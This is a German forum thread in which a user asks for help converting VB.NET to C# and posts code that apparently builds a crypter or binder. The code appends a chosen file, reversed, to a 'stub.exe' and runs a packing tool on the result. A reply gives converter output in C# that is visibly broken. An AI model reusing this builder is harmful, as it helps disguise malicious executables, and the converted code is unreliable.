PHP Forum - Coding Board
Juni 21, 2018, 11:36:38 *
Willkommen Gast. Bitte einloggen oder registrieren.

Einloggen mit Benutzername, Passwort und Sitzungslänge
News:
 
   Übersicht   Hilfe Suche Einloggen Registrieren  
Seiten: [1]
  Drucken  
Autor Thema: [S]Hilfe convert VB.NET to C#  (Gelesen 167 mal)
0 Mitglieder und 1 Gast betrachten dieses Thema.
The Blubb
Newbie
*
Beiträge: 19


Profil anzeigen E-Mail
« am: Dezember 19, 2008, 07:41:16 »

titel sagt eigentlich alles.

Call InsertValue(Dataa(count))
count = count + 1

kann das jemand in C# convertieren?
ach ja, Dataa ist byte[] und cont ein int

Vielen dank
The Blubb
Gespeichert
Lighti
Jr. Member
**
Beiträge: 74


444350370
Profil anzeigen E-Mail
« Antworten #1 am: Dezember 22, 2008, 02:16:30 »

K?nntest du nen bisschen mehr zu dem ganzen Code sagen? Nicht nur den snippet, weil es vielleicht noch ne andere Methode gibt.
Ausm FF w?rde ich sagen so:

dim data as byte()
dim count as integer = 0
insertvalue(data(count)) 'btw, hab bis jetzt noch keine Funktion zu InsertValue in Google gefunden..
count +=1

keine ahnung obs funktioniert..
Gespeichert

Meine Signatur mag keiner x[
hateme666
Jr. Member
**
Beiträge: 71


342252799
Profil anzeigen WWW E-Mail
« Antworten #2 am: Dezember 22, 2008, 02:36:19 »

ich glaub du hast da was falsch verstanden Lighti...er wollte es von VB.net in C# haben

ich kann dir da aber auch nicht weiterhelfen wenn du hier nur die 2 zeilen postest.
Gespeichert
Lighti
Jr. Member
**
Beiträge: 74


444350370
Profil anzeigen E-Mail
« Antworten #3 am: Dezember 22, 2008, 02:57:26 »

Asoooooooooo xD
na ich versuchs mal

byte() data
int count

insertvalue(data(count));
count++;
Gespeichert

Meine Signatur mag keiner x[
The Blubb
Newbie
*
Beiträge: 19


Profil anzeigen E-Mail
« Antworten #4 am: Dezember 22, 2008, 05:00:09 »

Code:
Imports System.IO
Imports System.Security.Cryptography
Imports System.Text
Imports System.Resources, System.Reflection, System.Globalization

Public Class Form1
    Dim speicher As Byte()
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    End Sub

    Private Shared Salt As Byte() = {100, 86, 34, 53, 11, 224, 145, 123, _
                                     237, 213, 12, 124, 45, 65, 71, 127, _
                                     135, 165, 234, 164, 127, 234, 231, 211, _
                                     10, 9, 114, 234, 44, 63, 75, 12}

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        OpenFileDialog1.ShowDialog()
    End Sub

    Private Sub OpenFileDialog1_FileOk(ByVal sender As System.Object, ByVal e As System.ComponentModel.CancelEventArgs) Handles OpenFileDialog1.FileOk
        TextBox1.Text = OpenFileDialog1.FileName
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        IO.File.Copy(Application.StartupPath + "\stub.exe", Application.StartupPath + "\server.exe", True)
        Dim filename As String = OpenFileDialog1.FileName
        Dim fs As FileStream = New FileStream(filename, FileMode.Open)
        Dim reader As BinaryReader = New BinaryReader(fs)
        Dim Data As Byte() = reader.ReadBytes(DirectCast(fs.Length, Long))
        reader.Close()
        fs.Close()

        MsgBox("Datei Eingelesen...")

        Dim fsa As FileStream = New FileStream("server.exe", FileMode.Open)
        Dim readera As BinaryReader = New BinaryReader(fsa)
        Dim Dataa As Byte() = readera.ReadBytes(DirectCast(fsa.Length, Long))
        readera.Close()
        fsa.Close()

        MsgBox("L?nge der Stub in Bytes : " + Dataa.Length.ToString)
        Dim count As String = "0"
        While count < Dataa.Length
            Call InsertValue(Dataa(count))
            count = count + 1
        End While

        count = Data.Length

        While count > 0
            count = count + -1
            Call InsertValue(Data(count))

        End While

        Dim byteData As Byte() = speicher
        Dim oFileStream As System.IO.FileStream
        oFileStream = New System.IO.FileStream(Application.StartupPath + &quot;\server.exe&quot;, System.IO.FileMode.Open)
        oFileStream.Write(byteData, 0, byteData.Length)
        oFileStream.Close()

        Dim startInfo As New ProcessStartInfo(&quot;by_slay2oo7&quot;)
        startInfo.Arguments = &quot;server.exe&quot;
        Process.Start(startInfo)


    End Sub

    Public Sub InsertValue(ByVal NewValue As Byte)

        Dim NewIndex As Integer

        'Stelle ermitteln an welcher der neue Wert hinzugef?gt werden soll

        If speicher Is Nothing Then

            NewIndex = 0

        Else

            NewIndex = speicher.Length

        End If

        'Array vergr??ern

        Array.Resize(speicher, NewIndex + 1)

        'Neuen Wert einf?gen

        speicher(NewIndex) = NewValue
    End Sub


End Class
Gespeichert
alexj.
Full Member
***
Beiträge: 148


Profil anzeigen E-Mail
« Antworten #5 am: März 03, 2009, 03:00:28 »

Ein mal google und du findest sofort einen vb.net zu c# convertor und auch andersterrum

Code:
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Resources;
using System.Reflection;
using System.Globalization;

public class Form1
{
    byte[] speicher;
    private void  // ERROR: Handles clauses are not supported in C#
Form1_Load(object sender, System.EventArgs e)
    {
    }
   
    private static byte[] Salt = { 100, 86, 34, 53, 11, 224, 145, 123, 237, 213,
    12, 124, 45, 65, 71, 127, 135, 165, 234, 164,
    127, 234, 231, 211, 10, 9, 114, 234, 44, 63,
    75, 12 };
   
    private void  // ERROR: Handles clauses are not supported in C#
Button1_Click(object sender, System.EventArgs e)
    {
        OpenFileDialog1.ShowDialog();
    }
   
    private void  // ERROR: Handles clauses are not supported in C#
OpenFileDialog1_FileOk(object sender, System.ComponentModel.CancelEventArgs e)
    {
        TextBox1.Text = OpenFileDialog1.FileName;
    }
   
    private void  // ERROR: Handles clauses are not supported in C#
Button2_Click(object sender, System.EventArgs e)
    {
        IO.File.Copy(Application.StartupPath + &quot;\\stub.exe&quot;, Application.StartupPath + &quot;\\server.exe&quot;, true);
        string filename = OpenFileDialog1.FileName;
        FileStream fs = new FileStream(filename, FileMode.Open);
        BinaryReader reader = new BinaryReader(fs);
        byte[] Data = reader.ReadBytes((long)fs.Length);
        reader.Close();
        fs.Close();
       
        Interaction.MsgBox(&quot;Datei Eingelesen...&quot;);
       
        FileStream fsa = new FileStream(&quot;server.exe&quot;, FileMode.Open);
        BinaryReader readera = new BinaryReader(fsa);
        byte[] Dataa = readera.ReadBytes((long)fsa.Length);
        readera.Close();
        fsa.Close();
       
        Interaction.MsgBox(&quot;L?nge der Stub in Bytes : &quot; + Dataa.Length.ToString);
        string count = &quot;0&quot;;
        while (count < Dataa.Length) {
            InsertValue(Dataa(count));
            count = count + 1;
        }
       
        count = Data.Length;
       
        while (count > 0) {
            count = count + -1;
            InsertValue(Data(count));
        }
       
       
        byte[] byteData = speicher;
        System.IO.FileStream oFileStream = default(System.IO.FileStream);
        oFileStream = new System.IO.FileStream(Application.StartupPath + &quot;\\server.exe&quot;, System.IO.FileMode.Open);
        oFileStream.Write(byteData, 0, byteData.Length);
        oFileStream.Close();
       
        ProcessStartInfo startInfo = new ProcessStartInfo(&quot;by_slay2oo7&quot;);
        startInfo.Arguments = &quot;server.exe&quot;;
        Process.Start(startInfo);
       
       
    }
   
    public void InsertValue(byte NewValue)
    {
       
        int NewIndex = 0;
       
        //Stelle ermitteln an welcher der neue Wert hinzugef?gt werden soll
       
        if (speicher == null) {
           
            NewIndex = 0;
        }
       
        else {
           
            NewIndex = speicher.Length;
        }
       
       
        //Array vergr�?ern
       
        Array.Resize(speicher, NewIndex + 1);
       
        //Neuen Wert einf?gen
       
        speicher(NewIndex) = NewValue;
    }
}
Gespeichert

Bog cuva srbe

r3miX
Kurzfristige Teampause
Full Member
***
Beiträge: 105

Auf Anfrage
Profil anzeigen WWW E-Mail
« Antworten #6 am: März 03, 2009, 04:38:18 »

Hallo,

es gibt sogar einen Online-Konverter:
http://www.developerfusion.com/tools/convert/vb-to-csharp/
Gespeichert


ShockerZz
Jr. Member
**
Beiträge: 89


491984937
Profil anzeigen E-Mail
« Antworten #7 am: März 03, 2009, 06:29:49 »

Wäre mal interessant als Wettbewerb, einen Converter zu coden, oder?
Gespeichert

[SIGPIC][/SIGPIC]
r3miX
Kurzfristige Teampause
Full Member
***
Beiträge: 105

Auf Anfrage
Profil anzeigen WWW E-Mail
« Antworten #8 am: März 03, 2009, 07:43:28 »

Zitat von: ShockerZz;11843
Wäre mal interessant als Wettbewerb, einen Converter zu coden, oder?

Relativ.
Es gibt schon genug Converter, die Public und Freeware sind :>
Gespeichert


Seiten: [1]
  Drucken  
 
Gehe zu:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.21 | SMF © 2006-2009, Simple Machines | New Look by Nolt Prüfe XHTML 1.0 Prüfe CSS